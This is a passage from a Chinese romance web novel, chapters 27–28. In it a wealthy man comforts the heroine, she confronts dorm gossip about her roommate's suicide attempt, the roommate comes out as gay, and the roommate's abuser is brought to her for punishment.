同样清冷又温柔的月光打在他的身上,他身上的气质真的很像月亮。
那一刻,就好像是月亮为人俯身。
手可摘星辰。
沈晞的心脏不受控制的重重一跳。
27. 第 27 章
即使是这样的姿势,在他身上也看不到任何狼狈亦或是难堪,仍是一身潇潇君子骨如鹤立。无处安放的大长腿一只膝盖虚虚点地,看上去有点单膝跪地的意思,但其实离地面还有个十公分左右,并且随着这样动作,他大腿的肌肉紧绷,在西裤的包裹下,可以看那蓬勃的力量感来,又和他淡淡君子的气质形成某种反差,带着股莫名的张力来。
傅律白看着她的泪痕,在月光下,本就白皙的脸上越发的明显,他无声轻叹了口,眸色微垂,抬起手来。
男人忽然的动作让沈晞一惊,眼睛都不由的微睁,下意识的想要后退,但还没来得及动作,只觉得披在身上的衣袖微动,米色真丝口袋巾便出现在自己面前。
原来他只是拿口袋巾,她却以为……
沈晞你在想什么?!
她觉得羞愧又难堪,生生被自己气的恼羞成怒。
察觉到她的情绪变化,傅律白只以为她是因他这样有些失礼的过来,强迫两个人面对面,违背了她的意愿而更加生气。
他有些无奈的再次无声轻叹了口气,觉得老师说得没一点对,哪里不会生气发脾气,不但脾气很大,气起来还很难哄。
“擦擦。”傅律白手又往上轻移了一厘米示意着,语气低的像是再哄一个令人无奈的小朋友。
沈晞看着面前的口袋巾却没动,她还沉浸在对自我恼羞成怒的尴尬中,这会更不可能听他的话,凭什么他说什么她就照做啊。
于是很别扭的将头微微偏了偏。
其实她也觉得在他面前哭很难堪很丢人,她向来不喜欢对任何人示弱,但这会儿她也不想听他说的做。
已是初夏,但此时还是有风的,北方的风什么时候吹在脸上,都会风干脸上的泪,等会儿会脸疼。
见她置气的没有动的意思,傅律白轻叹了口气,直接倾身。
察觉到他的意图,沈晞有些慌乱的将口袋巾从他手中夺过来,是带着怒气的,力气很大,然后在自己脸上擦了擦。
傅律白感受到那像是恨不得将他抓破的力度,知道她此时的怒意怕是已经到顶,有些无奈的垂了下眸,“茜茜,事情没有你想的那么不堪,也没有那么复杂。如果你们有需要,我当然会竭尽可能的帮你们。”
他甚至轻笑了下,半开玩笑缓和着氛围半认真的说:“再说你们能出什么事,你们能出的那些事,对于我来说,还远到不了‘吸血’那样严重。”
“……”
忽然有种被小瞧鄙视的感觉,沈晞轻睨了他一眼。
不过在得知他的身份后,也知道他说这样的话,也并非狂妄自大。
傅律白继续道:“我和沈老师……大一时,家里出了些事,我匆忙的去了美国,那段时间我整个人陷入了很迷茫的状态,对人生观价值观甚至是世界观都产生了质疑,那时,我忽然想起了沈老师,虽然只上过沈老师很短时间的课,但沈老师博闻强识思想很深刻也很通透——”
他微顿,看着面前的人目光有些深,不知道是否是有些基因继承的关系在,她在某些时刻,也有着超出年龄的如沈老师般的通透。
傅律白在看她时,沈晞也在想,原来他也有过迷茫无措,不是事事都像现在这样从容有把握,这个认知让她觉得他又没那样有距离感,奇怪的被拉近了点。
“什么事啊?”她几乎下意识的问,很好奇什么样的事才会让他这样的人,都会茫然迷失。
可才问出口,便已经后悔,为什么要关心为什么要好奇,对于一个对你这样缄默处处隐瞒的人,还要这样自取其辱的打探。
她懊恼的几乎想踢一脚。
还没等她踢,蹲在面前的人却已经开了口,“我父亲……因为一些意外,去世了。”
“……”一切情绪在这一刻凝固、静止,沈晞不由的轻张了张嘴,她觉得自己应该说点什么,毕竟问到了人家的伤心事,但又不知道说什么。
察觉到她的无措,最终还是傅律白轻笑了下,反过来安抚她,“没关系,已经过去十多年了。”
“……哦。”
又来了,那股润物细无声般令人舒服的周到和体贴,沈晞察觉到自己在心软,在动摇,她轻轻应着,藏在宽大西装外套下的手,不自觉的轻揪了揪裙子。
傅律白又继续拉回话题,他总是这样可以不被打断思路,总会有一条主线,不像沈晞天马行空,“于是我顺着学校官网找到了沈老师的邮箱,尝试着给他发了一封邮件。茜茜,我们这样的人,有很多话,没办法跟别人说,有时哪怕亲近的朋友也不行。”
他说这话时,并没有那种显摆的傲慢,反而带着几分苦涩和无奈。
他轻垂着眼睫,单边唇角勾起个浅浅的弧度,那一刻看上去,竟然带着几分破碎,可又因着太过清醒与理智,早已看清与不可推卸,便千般情绪最终也只化成抹自嘲。
他看上去其实并不脆弱,似乎强大的内心足够消化支撑,可却莫名的很想让人抱一抱他。
沈晞轻轻的望着他。
“于是我们便通过邮件联络了起来,沈老师很擅长引经据典。”傅律白脸上的笑意又变得温和,就好像刚刚那抹嘲意是人的错觉一样,“后来我又辅修了哲学,这样的困惑越来越少,不过邮件联络的习惯一直保持到了现在。”
沈晞隐隐好像理解了,小叔带着几分骄傲的谈起历史这类学科,讲着“以史为鉴”,历史确实是个很值得深思的学科。
又诧异于,他竟然还辅修了哲学,难怪这人的身上,会有股讲经布道德道高僧而又令人信服的气质。
看着面前的人眨着眼看着自己,也看不出别的情绪来,不知到底是听还是没听,他莫名的又想起那日她加班他顺势以咖啡为介,她走神的事,可眼神又好像和那时不太像。
这下,他是真的有些无奈想要苦笑,难道他讲话会让小姑娘听起来这样无聊?
他无声轻叹了口气,“茜茜,我说这些,只是想说,沈老师的心思太过纯粹简单,我不想让他、让你们进入到这个旋涡里,以你们为突破口被利用了也不知道,我只是想,我们之间的关系可以简单一点。”
沈晞沉默的看着他,其实他做的那些身份挂名,也并不算高级,只有她认真的查一查,总会查到些细枝末节的问题来,但她是那样的相信他,哪怕是现在,她竟然也已经在心里下意识相信了他的话。
他总是有着让人相信、信服的能力,这多可怕。
这个认知,让沈晞内心警铃大作的同时,又莫名的再次有些难过。
见她仍是不说话,傅律白罕见的有些无计可施,他并没有什么哄女孩子的经验,忽地想到什么,又说:“我在锐昇这里,有些股份,所以算是这家公司的领导,也并不是什么假话。”
“……”
嗯嗯嗯?忽然炫富是几个意思?
-
昨晚,沈晞最终也没有和傅律白回去。
也谈不上是和他回去,她回也只是回宿舍而已,他顺路送上一程。
……其实也不那么顺路。
回到病房时,姜瑶已经吃起了外卖,自己啃一口排骨,还不忘给宁今雨喂一口鸽子汤。沈晞接过来让她好好吃,自己喂。
姜瑶却忽然想起了什么,眼巴巴望着她,“茜茜,你怎么会认识禹家少爷的?”
禹开然和傅律白过来,她当然看到了,只不过那会太匆忙紧迫,没来得及在意,这会才想起问。
沈晞吹着汤勺的动作微顿,一边喂给宁今雨一边垂着眸说,让人看不清眼底的神色,“就是我公司的那个老板,我也是今天才知道。”
“……”姜瑶愣了愣,还没来得及再盘问些什么,姜父的电话便追了过来,寿宴上发生的事多多少少传到了姜父的耳中,这会儿羁押她回去。
那边姜父大发了雷霆,只问她是自己回去,还是让人“接”她回去。
姜瑶也知道自己这次真的惹了祸,不敢再多说一句,乖乖的便回去了,临走前还顺走了一块排骨,还跟床上的宁今雨有些激灵的眨了眨眼,“我明天再来看你,我今天乖一点,明天肯定能被放出来。”
宁今雨冲她勉强虚弱的笑了下。
可傅律白还是说了就会办到,即使她并未跟他回去。
几乎姜瑶才走,护工就来了。
她再次见识了傅律白的本事,在这样事发紧急护工如此短缺的情况下,他还是能轻易找来一位很专业的护工,甚至想到了方便情况,找了为四十多岁的女护工。
可就算他真的已经到了手眼通天的程度,这么快就能过来,恐怕也是事发后他到医院时,便已经找了。
他连这些都已经提前想好,安排的妥当。
沈晞并不想在这时承他的情,可姜瑶的忽然跑路,让她有些没办法,毕竟她不放心没人盯着宁今雨。
最终也只能不怎么痛快的妥协。
还有些手续要她去办,还得和公司请假,虽然她想,哪怕她不去也不会有人追究,但该走的流程也要走,不要让庄姐为难。
临走时,她叮嘱了半天护工,护工大姐大概也知道是个什么情况,说着放心。
沈晞点点头,又冲着宁今雨说:“那我走了?”
她看着她的眸色有些深。
宁今雨看着她眼中的试探和询问,满是不放心的样子,有些无奈的冲她轻笑了下,保证道:“放心吧茜茜,我不会再做傻事。”
人过了那个情绪,没再再逼到那个份上,就冷静了,因为真的很疼,现在手腕上后知后觉的疼痛都在提醒着她。
“……”沈晞没想到她会这样直白的就说出来,人反而松了口气,冲她点了点头,“行,那我走了。”
她边走边和庄姐请假,那边对发生了什么完全不知情,她也只说自己朋友住了院她需要请几天假,好在前几天忙完一个项目,这两天正闲,庄姐很痛快的批了她假。
出了医院,便坐上了叫好的车,回了学校,去帮宁今雨和自己拿些换洗的衣物来。
她看着身上简单却舒适的T恤出神了几秒,那套礼裙已经换了下来,是昨天护工来后不久,又有人送了套衣服过来,就是她此时身上穿的这身。
想也不用想,应该也是傅律白的旨意,毕竟那时已经近凌晨,已经没有店再开,更何况是G家礼盒装,西装革履的人送过来。
其实有衣服在姜瑶的车上,经过上次她和傅律白去宴席时回来那次,她已有了经验,特地留了一身衣服在姜瑶车里,想好回来的路上就换。
但没想到事发突然,姜瑶急匆匆的跑路,两个人都没想到这茬,他却注意到了。
他连这些细节都会想到,周到的让她越发的胸腔涌出一股酸意来。明明应该生气的,可却又发不出去,一边生着气一边又被熨帖安抚着,就像是一拳打在了软棉花上,便越发的不爽和委屈。
电话便是在这时响起的,看着屏幕上跳动的名字,这样的情绪一下子便被拉到了顶点。
平时看到他这个名字闪烁在黑色的屏幕上时,心情会像他名字一般莫名的宁静平和下来,有时也会有些说不出的雀跃,从来没有体会过这样的情绪。
她轻按了下侧边按钮,将声音关掉,也没挂断,仍由他拨打着。
看着快速在眼前掠过的高楼,她甚至还在有些不合时宜却又有些得意解气的想,敢让傅先生空等、不接也不挂断的,这些年来是不是只有她一个。
不过这一点小报复的爽感,在到学校后便消失了。
宿舍楼楼道里全是三五成群围成一圈窃窃私语着的人,脸上是带着听八卦的兴奋与惊讶以及说起别人八卦时独有的评判得意与故弄玄虚的挤眉弄眼,就像进了村口见到站在一起嗑着瓜子、以为隐藏的很好,可目光几乎直白不加掩饰的打量着你,成为她们口中被谈论对象的那股说不出的紧张压抑感。
此时的宿舍楼道里,便是无数那样的群体,沈晞的耳边充斥着大家对昨晚事件的猜测与谈论,有人说宁今雨自杀了,有人说她是因为学习压力大、有人说她是因为考研失败、找工作的不顺……
她沉默的从旁边的走过,大家见到她来,纷纷停住了嘴,又带着背后蛐蛐人却被正主听到后的尴尬以及更大的好奇,想问又不好问的缄默打量着她。
沈晞面无表情的无视着这些个注视,谈论的声音仍旧围绕在她的耳边,也有说她流产了的。
“啊呦那血流了一地吓死人了。”
“啊?她怀孕了?”
“我听说就是那个天天豪车来接送她的男的的,把她弄怀孕又不打算负责人,她才一时想不开……”
“啊?那到底是想不开自杀了?还是流产了啊?”
没有人在意她背后真正的苦难,正在经历着什么,她抵死抗争着的事情轻而易举的就变成了人们口中既定的事实一样,就好像她的抵抗、她甚至不惜付出生命的抵抗变得那样可笑。
他们在意的,不过是对人生活的窥探欲,好站在各种制高点上轻描淡写的指责上一句,来显示着自己多高高在上。
“你们这么好奇她到底因为什么自杀?”沈晞再也忍受不住的站定,冲着那个开口说怀孕流产的女生说,“她不就是因为你插足了她父母的婚姻,一时想不开么。”
她这话接的很自然,大概都以为有了什么新的八卦内幕,下意识地冲着声音的方向抬起头来听着,那女生和沈晞对上,发现是对着自己说的,下一秒
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脸色就变得很难看,又急又莫名其妙气冲冲的说:“瞎说什么呢?我都不认识她爸爸。”
“是啊,上下嘴唇一碰两嘴一叭叭,不说什么是什么。”沈晞没什么表情的看着她,“现在扎到自己身上知道疼了?”
“……”女生表情有点难看,又有点心虚,可还是因为沈晞这莫名其妙的一句很不爽,底气不是很足的扬着下巴对她说,“什么啊,说说都不行,我们也是担心她……别人不也都在说么,你凭什么只说我啊?”
“说说行,”沈晞没什么情绪的点了点头,好像还挺认可她的想法,“是不是真的担心她,你们自己知道,因为他们都没跟你一样造黄谣,我也只是说说,你之前怀过孩子悄悄打了就以为所有人和你一样,大学未婚怀孕还插足人家婚姻?你是不是还特别不甘心啊?所以还在造小雨的谣。”
她说的一本正经,有理有据甚至还带着替好友愤愤不平的怒气,众人前后一联系,这是插足了宁今雨父母的婚姻还搞出了个孩子来,悄悄打了但是不甘心,宁今雨知道自己同学差点给自己生了个弟弟或者是妹妹,一下子受不了这个刺激,就自杀了?但是这会儿还是不甘心的,心生恨意的在这造谣宁今雨???!
众人一联想,还真就逐渐信了。
神色复杂的看着这个女生。
女生终于崩溃被气哭了,边哭边跑回了宿舍。
沈晞在说完那通话,对面的女生怔愣时便已经没再停留的往宿舍里走,不再管后面发生了什么,但女生的哭声还是从身后传过来,由近及远又渐渐消失。
她并没有什么报复过后的快意,只是觉得这些人有些可笑,可她现在做的又和她们有什么区别?
打开宿舍门,又关上,她有些疲惫的靠在门上。
是不是世俗想法里,一个女生和一个有钱的男人出现在一起,便已经约定俗成的有了什么不正当的关系,并且没什么好下场?
又是不是,他身边这种事、这种声音更多,所以才会在最初就会注意接送她时会换辆车子,亦或是停的远远地。
这就是成年人的世界么?
这就是不可打破的世俗么?
沈晞深吸了一口气,腿微微用力的再次站直身体,这才下意识地看了眼宿舍,不知道是谁或许是宿管阿姨,已经将宿舍清扫干净,地板光洁像是什么都没发生过一样。只有洗手间手盆下,彩色地砖缝隙里有一处未被擦干的暗红,留下了些痕迹,证明着昨天的惨烈。
她拿了些两个人换洗的贴身衣物,以及充电器什么的,转身时又看到宁今雨反扣在桌子上看到一半的书,想了想也给拿上,拿起来时还随手从她桌子上拿了张什么卡片——好像是衣服标签,夹进了刚刚那页。
做完这些后,她便没再停留,又赶回了医院,她总是有点不放心。
楼道里已经没有了围成一圈的人,只有三三两两正常进出走动的同学们。在看到她后,眸色微躲,脸上带着几分尴尬。
或许三年多来好人缘的茜茜学姐,从今之后在她们心里也成了恶人。
-
傅律白看着自动挂断的电话,眉心微敛,轻垂的眼睑看不清里面的神色。下一秒手机忽然又亮起,有电话进来。微敛的眉舒展,可还未来得及云销雨霁,在看到来电显示后,又归于了平静,没什么语调的将电话接通,“喂。”
禹开然顿了下,虽然没什么语调,他还是觉得三哥的心情有点不好。
他以为还是因为秦凯搞出来的破事,谁能心情好,他心情都好不起来。
“秦凯这小子找着了,现在是怎么弄三哥?”
昨天出了那样的事,人家姑娘都被他逼的自杀了,他都还能大摇大摆的去参加自己老祖宗的寿宴,没有丝毫的心理负担。他们两个中途离场,寿宴当然也是继续照常办了下去,然后这小子参加完散场后还又自己和那群狐朋狗友们开了第二场。
他找了他一个晚上,把周围人电话都打了一圈,有消息知道他是去了哪家会所,结果他们过去那群狐朋狗友都喝趴下了,还拉着他一起喝,气的禹开然直接给了那人一脚,让他直接睡了过去,但就是没找着秦凯。
又把这群喝的五迷六道的人拉去洗手间醒酒,方法相当的简单粗暴,就直接把人按到洗手盆下面冲凉水。
好不容易弄醒几个还有点意识的,结果一问,没一个知道秦凯去向的。
全都摇摇晃晃眼神茫然的说着不知道。
当时禹开然心想,坏了,别人这小子听到了什么风声跑了吧。
但一想,又不对,应当没人明知道是三哥找人,还敢通风报信的。但又保不齐有那么一两个胆子肥不知道天高地厚的,于是又找人盯着机场火车高铁站,以及各大高速路口。
忙活了一个晚上,把能找的地方都找了,就快他觉得人是长翅膀飞了的时候,结果在秦凯老窝把人给找到了,进去的时候人都还安安稳稳的在床上睡着。
就是他上次带宁今雨去的那地。
看着跟屁事都没有的一样的人,气得他更是不打一处来,因此此时说话也都带着几分恨意。
傅律白轻翘起个二郎腿,慢慢轻靠进沙发背里,神色很淡,不紧不慢的说:“带过去问问人家姑娘的意思,咱们也无权替人家决定。”
禹开然听着,却再想,那个宁今雨看着挺刚烈,但到底是本本分分长大的姑娘,按她的意思肯定想不出什么多狠的招来,岂不是便宜了这小子。
想到这,他猛地踢了一脚地上的人。
秦凯睡得好好的根本不知道发生了什么事,就这么迷迷糊糊的被人从被窝里掏了出来,那声骂都没来得及出口,就对上了禹开然的那张脸,便又吞回了嗓子里。
但这一下,他吞不回去,疼的他直接要喊出来,两边的人却反应很快,几乎是禹开然动脚那一刻,站在他一左一右的两个人又同时将差点踹飞的人按住,同时另一只手堵住了他的嘴,那声喊叫便就又声声的给闷在了嘴里,愣是让傅律白一声没听到。
同时叮嘱着,“别吓着人家姑娘,要是人家姑娘心慈手软,就再带回来,不能替人家受害者决定,总可以替秦老教育教育。”
傅律白的声音依旧慢条斯理,语调很淡,但听着却让禹开然都跟着心中一紧。
这教育,可就不是一般的教育了。
但三哥偏偏像什么事都没发生一样,气定神闲语气如常的就像聊等一下吃什么一样。
禹开然不由的想,是不是哪天即使三哥想到了一个人,或者是正在刀也能这么慢条斯理跟切牛排似的?
他不禁一阵恶寒地抖了抖。
太可怕了。
不怕人耍狠动气,就怕人动了气还能平静。
28. 第 28 章
沈晞回到病房,在门外看到人好好地躺在哪儿才松了口气,同时发现床边趴了个人,像是正在睡觉。沈晞愣了下,这护工大姐怎么这会儿就睡上了,还趴在床边,宁今雨其实挺疏离的,两个人应该关系还没到那个程度,再说旁边就有床,怎么不睡那啊?
——姜瑶昨天虽然走的匆忙,但也没忘了给宁今雨找了个单间。感谢姜瑶的超能力,没让连这种事都承傅律白的情,虽然她也不知道在别扭什么。
再说走时,护工大姐不是答应了会把人看看好,怎么就睡了。
沈晞眉心微蹙觉得纳闷,正要打开门时却看见床上的人睁开了眼,看着床边顿了顿,神情是她未见过的温柔,甚至可以称得上是柔情。
那样的表情,在她清淡的脸上很是明显,像是暖阳照在雪山上,冰雪消融的柔软。
沈晞推开门的手不自觉的顿住。
然后看到宁今雨慢慢地撑起身,动作很轻,像是怕吵醒旁边的人一样,扯起放在一旁的衣服给人盖上了。
或许是人睡得并不沉,几乎才盖上,人就迷迷糊糊的抬起了头。
“我吵醒你了?”宁今雨手微顿,从沈晞的这个角度,能很好的看到她微眨着眼,怔愣间又带着几分无措和歉意。
那个表情,她从来没在宁今雨脸上看到过,她向来清清淡淡的人又很稳。
其实和傅律白有些像,但又不是,宁今雨这种清淡,是谁都别来沾边的冷淡,带着某种防备对抗性。而傅律白是沾边了也不在意,一点都不放在眼里,更像是一种高阶版。
沈晞也是这才发现,趴在的不是护工大姐,而是有着一头到腰的棕色长发,烫着温柔的波浪卷的女生。
她抬起头来,摇了摇,声音也是温柔的,“本来也没睡熟。”
说完也兀自笑了下,“本来看着你呢,我自己倒是睡着了。你要不要喝水啊?”
大概是觉得有点过意不去,波浪卷女生站了起来,走到旁边的小桌子,拿起上面的保温壶倒了半杯水递给宁今雨,都没等人回答。
沈晞也是这才看到了波浪卷女生的全貌,真就很成熟温柔大姐姐的样子,五官很舒展,是那种一看就会让人有好感的长相。
宁今雨只好接过,眼巴巴的看着她,样子很乖。
沈晞莫名就忽然觉得自己不应该进去。
不过大姐姐似乎有事,十分钟后便开始频繁的拿起手机来看时间。
宁今雨看着她说:“你要有事就先走吧,我——”
她话没说完,就被大姐姐打断,“不行啊,我怎么能放你一个人。”
大姐姐说着,还欲言又止别有深意的看了她一眼,那一眼全是不放心,甚至还带着几分责备。
一直站在门外的沈晞终于觉得自己是时候出场了,于是将门推开走了进去。
大姐姐愣了下,下意识回头。
宁今雨开口介绍着,“这是我室友。”
又冲着沈晞说:“这是我……民宿老板。”
她中间有一瞬间的停顿,像是在寻找着合适的措辞,又像是有着别的什么情绪。
沈晞眸色微敛,不禁怔了下,可再抬头看向大姐姐时,却神色如常,甚至还带着几分热情的打了声招呼,“姐姐好。”
“欸,你好你好。”
她长得本来就乖,和年长一点的人打招呼时又会不自觉的亲昵一点,带着些撒娇,后来她想了想,应该是和外婆那里染上的习惯,外婆喜欢她软乎乎撒娇的样子,总是会眯起眼睛来笑,她也就不自觉的这样。
大姐姐当然也受不了这么软乎乎的年轻小姑娘,回的也很热情。
沈晞又说:“姐姐你有事啊,有事你就先走,我等会都没事。”
她说完,又下意识看了眼宁今雨,不确定她到底想不想让人走。
宁今雨也看着大姐姐说:“你去忙吧。”
“欸,”大姐姐是真的有事,便也不耽搁,“那我先走了,明天再来看你啊,你想吃什么等会发给我,我明天给你做好了拿过来。”
“你要是忙,不用——”
“好了好了,就这么定了,”不等她说完,大姐姐便打断她,提着放在椅子上的包,匆匆的说,“我先走了啊。”
便没了身影。
宁今雨的视线看着人离开的方向好久,才收回,便对上了沈晞有些若有所思的视线。
她眼睫轻眨了下,微微错开。
沈晞将东西都拿给她,又将包里的书递给她,“怕你无聊。”
宁今雨接过,冲着她轻笑了下。
沈晞却笑的有些勉强,那种奇怪的感觉还在,看着正翻看着书的人,有些欲言又止,最终还是没忍住,试探着开了口,有些小心翼翼,“小雨,你是不是……”
宁今雨下意识抬起头,在看到她的表情时,便隐约知道了她想问什么,坦然的等着她后面的话。
沈晞原本又有些说不下去了,但在看到她沉稳的目光时,她忽然有种奇怪的念头,就好像她在鼓励甚至期待她后面的话一样,她心下顿时一稳,可说的声音却更加轻和纠结了,“喜欢她啊?”
在沈晞有些忐忑和因着冒犯而有些惭愧的表情中,宁今雨却轻笑了下,坦然道:“是啊。”
原来能承认的感觉这么好,这还是她第一次像除自己以外的人坦然的说出来。
她这样痛快轻松的承认,反而让沈晞愣住了。
见她不说话,宁今雨半是玩笑半是认真的问:“会觉得很恶心么?”
“什么?”沈晞一时间没反应过来。
宁今雨靠在枕头上,冲着她又笑了笑,“跟我住在一起,会觉得很恶心么?”
沈晞下意识地皱眉,有些急道:“怎么会!”
她刚刚确实一时间没反应过来,但远谈不上什么恶不恶心的这种程度,她对取向这些并不怎么在意,只不过忽然发现自己身边的朋友是,有些意外而已。
大概是因为刚经历了生死,多年来的秘密,又忽然说出来,像世人承认,宁今雨觉得无比的轻松,甚至还故意逗她,轻挑了下眉看着她道:“我可还抱过你呢。”
沈晞没忍住轻翻了个白眼,也睨着她,“怎么,你对谁都能有感觉啊?”
“……”这下,轮到宁今雨有些不自在,轻垂了下眼睫,过了两秒才又抬起眸,在她身上逡巡了下,“那可不好说,毕竟茜茜是个大美人。”
那样的眼神,其实并没有让人感受到任何冒犯性,尽管知道她的取向,也是和男性那种带有侵犯的凝视不一样的,沈晞半拖着调子,“那是我的荣幸。”
宁今雨的眼神瞬间一顿,收起了刚刚的漫不经心,带着几分不敢置信和不解的看着她,“为什么?”
她眼里的茫然、不确定和又有些想知道答案,狠狠戳了下沈晞的心,一直以来她看到的宁今雨都是很坚强坚毅的,眼神很稳,像是一直知道自己想要什么,还从来没这样过。
可也就仅仅只是取向是个相对小众的群体,她便要这样不确信、忐忑和紧张着,她明明又没做错什么。
沈晞故意用着个轻松的语调说着,“因为据说你们的审美会很棒,不是说只有同性认可的美才是真的美么?”
宁今雨轻笑了下,只不过笑的有些落寞。
沈晞又想到了什么,小心的试探问道:“那她知道么?”
“不知道,”宁今雨轻垂了下眼睫,带着几分苦涩的说:“也不想让她知道。”
至少这样,她可以永远以一个小妹妹的身份在她身边,保持着些关系。有的时候,她庆幸与自己的性别优势,却又也无奈与自己的性别。
沈晞却觉得这句话有些耳熟,好像,在她第一次被打时,宁今雨也说过类似的话。她现在也恍然明白,宁今雨为什么会被逼的选择了这样决绝的方式。
其实她有看过秦凯的照片,长得也还算可以,至少陪他虚与委蛇下去也不是那样让人不能接受,可因为取向的不同,大概每一次的相处都会难受的让人无法呼吸。
可却还是在不停地逼迫她,一点都没把人当人看。
啊啊啊啊秦凯是真的该死!
正想着,病房的门忽然被人从外面推开。
两个人下意识的看过去,只见有个人跌跌撞撞的进来,像是被人从后推了一下的趔趄,打扮的很奇怪,还穿着睡衣,五官倒也挺清秀,只不过深情带着几分慌张。
沈晞忽然间觉得他有点眼熟,但一时间没想起来。
身边的宁今雨却在看到他的那一刻,下意识地往沈晞的怀里躲了躲,沈晞清楚的感受到了她的恐惧,也是在这一刻,沈晞猛地想起了这人是谁。
是秦凯!
“你想干什么?”沈晞立刻一把手将宁今雨揽在怀里,同时身体向前半步将人挡在身后大半,满是防备的看着他。
“别紧张别紧张。”
禹开然跟在后面,听到这话,头都还没探完的忙说着。
沈晞视线越过秦凯,看了过去。
禹开然彻底进来,门外似乎还有两个人,将门关上,就守在了外面。
对着沈晞仍是自来熟一般,像是什么都没发生过一样,还不忘为了他三哥说上几句好话,“那什么,三哥昨天知道这事,简直气坏了,这不今天我就把人带来了,任由这位姑娘发落。”
他说完,又冲着宁今雨说:“别紧张啊姑娘,你想怎么解气都成。毕竟受了这么大委屈,怎么做都是合情合理的。”
还不忘再暗示提示两句。
沈晞忽然觉得他说这话时,也有种傅律白那种“怎么样都行,什么都没放在眼里的劲儿”,让她甚至觉得,就算宁今雨真的说杀了秦凯,他也会眼睛都不眨一下,还会像现在这样笑着说好,就跟杀条鱼似的。
不,杀条鱼,其实她都会有点压力的。
记得有一次她去店里吃烤鱼,店家让她自己选,她就在那大大的缸里,真的认认真真的打量着,仔细选了一条她喜欢的,店家就将那条捞了出来,然后带到了后厨,接着她就听到了“邦邦”几声,也是那一刻她才反应过来,被她选中的,就是要死的。
所以从那以后,她就再也不自己选鱼了。
沈晞看着脸上带着好相处笑吟吟的人,突然遍体生寒,让她差点忍不住打冷战。
宁今雨也已经从沈晞怀里抬起了头,只不过离得她还是有些近,那是个下意识寻找安全感的距离。她看着不远处的秦凯,一时间大脑有些空白,这么久以来,她一直想要的,不过是摆脱秦凯,现在却告诉她,不但可以摆脱他,还能将这大半年来受到的委屈、折磨、侮辱与恐惧尽数偿还回来,任她发落。
她一时间有点想不到。
秦凯却“啪”地一声猛地跪在了地上,还跪着往前走了走,言词非常诚恳与激动,“对不起我错了,是我鬼迷心窍,求你大人大量……”
他说着,觉得力度还不够,就要抬起手来扇自己。
秦凯虽然被酒气女色腌入了味,但在关紧时刻脑子还是灵活的,也可能是生死危机时刻,他知道现在不说点好听的让这女人心软,要是直接落在傅先生手里,那他就没那么轻松了。
只不过他这巴掌没来得及扇。
他这一下来得太突然,把沈晞吓得直接往后退了两步,宁今雨也僵直地往后躲,禹开然没忘记三哥的叮嘱,别吓到人家,谁成想这货上来就把人吓两次了,气的他更是不打一处来的想直接把人给一脚踹趴下,但怕更吓到人,生生忍住了,只呵了一声,“干什么呢!现在知道哭了?你这是道歉还是吓唬人呢?”
说着的同时,还拽着人的睡衣领子,把人又往后拉了几步,秦凯抬起的手就因为这样往后,落了空没打下去。
“你就给我老实的在这跪着!”秦凯带着几分呵斥,语调很沉的跟着地上的人说完,再抬起头来时便又变得和颜悦来,对着宁今雨说:“没事啊姑娘,你就在这慢慢想,对了,你们要不要吃——”
“哦,这点你们吃过饭了吧?那要不要来点下午茶?”他说话间,又看向了沈晞,还不忘卖个惨,可实则还是为三哥说上几句话,“啊呦我忙到现在都还没吃饭呢茜茜,三哥气成那样我还哪能不办好了吃饭呐。”
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>他自然的谈论起了下午茶和午饭,就好像地下没跪着个人一样,或许他们这种人早就习以为常,但沈晞实在是没办法对这些无动于衷,只垂下了眼睫,并未有任何的回应。
禹开然愣了下,却在下一秒钟便又跟什么事都没发生过一样,拿起手机自顾自地笑吟吟说着,“来份银耳莲子桂圆羹,那个补血,再来份雪梨膏,那个败火。再给你们来点小甜点。”
他说着看着她们,但并没有人回应。
宁今雨觉得自己应该和他说声谢谢的,无论是上次他什么都没问的送她去秦凯那里,她因此得到了一段时间的安宁,也并未向茜茜多嘴说些什么,现在又为她解决了这么大的麻烦,可她此时脑子还是有些空白的,所以没反应过来的开口。
沈晞则仍在那遍体生寒又复杂的情绪里,不知道以什么样的情绪去应对,说什么。
空气有一时间的安静。
但禹开然没能让这个宁静持续半秒,便很自然的笑呵呵自顾自地说:“那就先这样,你们再想吃什么再要。”
就好像真的在和她们你来我往的互动一样。
沈晞觉得他们这些人,总是有种这样控场从容的本事,掌握着一切的节奏。
禹开然的话音落了下来,空气又变得安静,几乎落针可闻,只剩跪在地上的秦凯有些急促的喘息声,让沈晞觉得有些压抑和窒息。
好在宁今雨并没有让这种安静持续很久,她看着地上的人,原本有些紧张慌乱的眼神逐渐变得稳定了下来,又恢复到她之前清清冷冷的样子,只不过比之之前还要冷上几分,“我想怎么样都可以?”
这话问的是秦凯,但视线却一错不错的看着地上的人。
禹开然正愁没人讲话,场子太单调,这会儿立刻轻轻颔首,像是生意场上给予无限诚意一样,“当然。”
“好,那我要他也给自己胳膊上划上一刀,要见血。”宁今雨清冷的眸上带着几乎喷薄出的冷意与恨意,看着他一字一句道,“我还要他手下的一切产业都不得安宁被人骚扰、破坏。”
秦凯猛地抬起头来,“宁今雨——!”
“叫什么?”禹开然沉声呵斥。
宁今雨却不再看他,而是直接看向禹开然,“可以么?”
禹开然多少有些意外,没想到她一个安安稳稳长起来的女孩能想到这样的手段,看着她说:“当然可以。”
眉峰微挑的又问:“要在这里当着你面么?”
宁今雨下意识向后轻靠了下,摇了摇头。
禹开然轻笑了下,到底是个正常环境下生长起来的姑娘。
沈晞也暗自松了口气,虽然知道他罪有应得,可还是不想直面那样的画面。
一看三言两语就决定了自己的命运,秦凯顿时急了,转头快速进步跪走向禹开然,抱着他的腿一脸惊恐道:“禹哥禹哥我知道错了,我真的知道错了,你不能这么对我,你、你总要看在我爷爷的面子上吧?!”
他说到最后一句,像是又找到了主心骨,脸上带上了几分癫狂与破罐子破摔的狠厉,说话间都带着几分破音。
对,总要看在爷爷的面子上,难道这世道还真就傅律白说话算,无法无天了不成!
禹开然却只单边唇角微扬,不屑道:“爷爷?都偏枝到不知道到哪了,你以为秦老真的会为了你得罪三哥?也不掂量掂量自己有几分几两。”
不会,确实不会,如果是别人爷爷看在家族荣誉上还会出手,但他确实也只是表亲而已,不可能为他最得傅律白,甚至是他表哥,爷爷的亲孙子得罪了傅律白,都不一定会去得罪。
但是他不懂!
他不懂!
秦凯红着眼睛狠声问道:“我干什么了?我不就是玩了个妞么?值得傅先生这样?!”
禹开然侧头嗤笑了下,对他的问题感到好笑,都不知道这样的人到底是怎么在圈子里混的,哪怕是个猪在这样的环境下也总归会被熏出点东西来,这到底得是多酒囊饭袋?
“听到我刚刚叫她什么了么?”他冲着秦凯扬了扬下巴,视线往沈晞那边带了下。
